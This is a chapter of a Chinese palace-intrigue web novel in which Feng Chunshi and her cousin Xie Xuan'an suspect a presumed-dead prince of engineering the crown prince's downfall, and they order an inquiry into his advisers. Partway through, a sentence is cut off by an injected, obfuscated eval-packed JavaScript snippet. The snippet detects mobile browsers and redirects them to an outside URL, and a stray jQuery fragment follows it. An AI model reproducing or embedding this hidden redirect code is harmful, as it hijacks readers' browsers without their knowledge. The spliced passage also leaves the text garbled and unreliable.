谢玄安带着冯春时进入书房,拿着小桌上的茶壶,倒了两盏茶,将其中一盏,轻轻推到了冯春时面前。
冯春时端起茶盏,啜饮了几口,缓缓呼出一口气。温热的茶水下肚,让她感觉这一日的疲惫都消去了不少,心神也更清明了几分。
舒了一口气后,冯春时看向谢玄安,斟酌了一会,在他将信笺从木盒中拿出来时,开口问道:“丰年盛可是离开了梅州?”
谢玄安指尖停顿一瞬,微微用了几分力,面上露出讶然之色,问道:“表妹如何得知?莫非表妹……是神算子?”
冯春时闻言,忍不住斜了他一眼,接过了他递来的信笺,一面展开,一面对谢玄安说道:“表哥不也早就料到了?太子出事,显然也是有人刻意设下的局。若太子谋逆和这位姚先生有关,想来丰年盛作为姚先生的得力属下,定然会亲自到盛京,以保计划顺利施行。”
谢玄安轻笑了两声,面上露出赞许的神色,声音温柔地说道:“正如表妹所想,梅州来的信上提及,这位丰年盛,早在一月前就以回乡养病为由,请辞了幕僚之位。然后一夜之间,就从梅州城销声匿迹了。”
冯春时将手中的信笺抻平,一目十行地读完,一时陷入了沉思之中,摩挲着指间的纸张,神情严肃。
过了一会,冯春时的目光从信笺上移开,落到谢玄安脸上,问道:“表哥觉得,这位姚先生……会不会就是那位葬身火海的辰王?”
“不无可能。”谢玄安闻言,神情并无波澜,而是略微思忖了一会,接着说道,“据闻,当时火势甚大,之后找到的尸首也已是面目全非。圣上派来的人,也只能从身量和所处的位置,以及骨骼上的旧伤,大致推断出来那是辰王。至于是否真是其人,却是不得而知了。”
“表妹是觉得,辰王借火势假死脱身,以姚先生之名在梅州藏身,暗中等待时机再度出现?”谢玄安看着冯春时缓声说着,他的尾音虽微微上扬,带着几分疑问的语气,神情却并无疑惑及惊讶之意,反而是一派了然之色,“表妹可是从郡主那儿听得了什么消息?”
冯春时点了点头,将今日和郡主说的话,挑拣了一些重要的部分,同谢玄安说了一遍。
“表妹是觉得,这个名叫卫青山的人,是姚先生遣来的?”谢玄安待她说完,立时理解了她话中的意思,对她问道。
冯春时点头,摩挲着茶盏上的花纹,眉头微蹙,说道:“这人出现的时机实在是太过于巧合,且做的事于太子而言,实在是毫无益处。单从太子眼下的情况来看,着实可疑。”
谢玄安目露赞许,看着坐在对面的冯春时,颇为赞同地说道:“我同表妹一样,也是如此认为的。此人出现在太子身边的时机过于巧合,确实惹人怀疑。但若是仅仅他一个人,恐怕不足以动摇太子。”
冯春时自然也知道谢玄安的意思,垂下眼帘,抚摸着手中温热的茶盏,划过茶盏表面微微凸起的花纹,神色若有所思。
谢玄安见着她的模样,嘴角噙着的笑意加深,继续说道:“太子本也不是蠢人,即便皇后不在,他也是圣上亲自教导的储君。圣上年岁已高,太子已做储君这么多年,当是不缺这点耐心才是。”
毕竟这么多年都等过来了,也不差这么一点时候了,且其他皇子论起来,也并无多少同他相争的可能性。也不知太子为何,忽然这般急不可耐,一时半刻都等不得,就毫无筹谋与准备地谋逆了。
若是能成事倒还好,可偏偏,他的计划早就被圣上洞察,还来了一招螳螂捕蝉黄雀在后。又是在众目睽睽之下,想脱罪都脱罪不得。
冯春时想到这儿,越发觉得是太子身边的幕僚出了问题。太子这般急迫,显然是这些幕僚,一齐给太子说了什么,让太子误以为圣上不仅要废后,还要连带他的储君之位一起废了,这才急切地打算先下手为强。
冯春时将自己的想法同谢玄安说了,得了他颇为赞赏的一眼,然后谢玄安语气温柔地开口说道:“谋逆之事非同小可,太子做储君已做了多年,自然不会轻易往这方面打算。怕是在东宫禁足期间,圣上有意冷他一阵子,加上皇后之事,难免让一些有心之人,在他耳边说了不少半真半假的消息,这才让太子着急了起来。”
冯春时点了下头,自然也理解了谢玄安话中的含义。
太子做储君这么多年,手上的权力可不像其他皇子,只有一点点议政上朝的权力。太子手中掌握的权力,可是实打实的。
也正是因为如此,在禁足东宫期间,太子才能如此对此鲜明地感受到,自己的失权。因着这种落差,太子才让人有迹可循,抓着这点漏洞,借机唆使太子犯下大错。
只要太子被废,其他皇子天资普通,又有太子多年打压,自然也不足为惧。
姚先生若真是当年的辰王,那如此行事自然也说得通了。
解决了太子,对他能现身争夺九五之尊之位,应当是相当重要的一步。
那么,为了达成这个目的,他们定然会精心布置一番。只怕如今来盛京的,不只有丰年盛一个人才是。且太子身边被安插进来的可疑之人,应当也不止卫青山一人。
冯春时琢磨了一番,然后抬眼对上谢玄安的眼神,他正眼神一眨不眨地盯着自己,眉眼含笑,似乎已在等着自己开口。
冯春时对上他的眼神,也只是停顿了一瞬,便语气自然地开口,和谢玄安说道:“表哥,可否让人,去将太子近日收入门下的幕僚都查探一番?”
谢玄安听完,手指在桌上轻点了下,对冯春时温柔一笑,说道:“表妹开口,自然是没有不可行之事。”
说完,谢玄安微微侧过脸,扬声将在外头守着的常岁叫了进来。
常岁推门进来,躬身立在二人几步之外的地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970507|190625||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
方,低头将手垂在两侧,问道:“世子,有何事吩咐属下?”
“去查一下,将这些时日,太子招收至门下的幕僚,皆有何人?”谢玄安手指轻敲了两下桌面,对常岁吩咐道,“尽量查清楚了,且重点查一查,太子门下可有一个叫卫青山的幕僚。那幕僚何时到太子跟前拜见的,如今又去了何处,平日同谁有往来。”
常岁忙应了下来,脚步微微转了一下,转向冯春时,恭声问道:“姑娘可有何事吩咐属下?”
冯春时想了一下,摇了摇头,对常岁笑道:“我这儿却是无事吩咐,你只管做表哥吩咐你的事罢。”
“姑娘若有事吩咐,便直接吩咐属下或是常安便好。”常岁笑着说道,看了一眼谢玄安的脸色,说道,“属下这便下去,查探近日投入太子门下的幕僚。”
谢玄安不咸不淡地应了一声,抬了下手,说道:“去罢,大致打听一番。若是有危险,即刻赶回侯府。”
常岁应声,躬身退了出去,将门重新带上掩好,改由常安来门口守着,这才离开了院子,去处理谢玄安吩咐的事情。
待常岁离开之后,谢玄安看着冯春时,手指在桌面上轻敲两下,对冯春时说道:“表妹,若真是如此,恐怕近日出门要格外小心才是。”
冯春时闻言,也想到了这点,上回那两个人,就是得了命令要活捉她,想来应当就是这位姚先生。
虽不知,如今看着胜券在握的人,还要抓她做什么。
“这些时日,表妹若是想出门,还是与我一同为好。”谢玄安看着她,手指抚过茶盏杯沿,柔声开口同她提议道,语气颇为温柔。
冯春时听到他这样的语气,忍不住抬手摸了下发热的耳朵,垂下了眼帘,一时心乱如麻。
她大抵猜到了谢玄安的心思,也知道自己的心意,似乎也时常因他而动摇。如今冯春时自知自己的心意,早与初见时想敬而远之的心情不同了。
犹豫踌躇之间,谢玄安看出了她的迟疑不决,静静等待了一会,然后才在她欲言又止之时,声音分外温和地开口说道:“表妹,不必着急。莫说一月两月,便是一年两年,我也是等得的。”
冯春时神色一顿,抬眸看向对面的谢玄安,看着他对自己露出了温柔的笑容,忍不住手下用力,抓紧了手中的茶盏。
见到她的动作,谢玄安神情越发温柔,声音也更轻,说道:“如今,表妹想做的事情,依旧悬而未解,表妹定然也无心说这些。我自不会对表妹说些什么,也不会逼迫表妹如何。”
冯春时看着谢玄安,静静地听着他的话。
“待一切尘埃落定,表妹若是想通了……”谢玄安说到这里,对她笑了笑,语调不高不低,却莫名带着一股安抚,对她继续说道,“到那时,我自会同表妹坦陈心迹,不必叫表妹在此时这般左右为难。”
冯春时默然。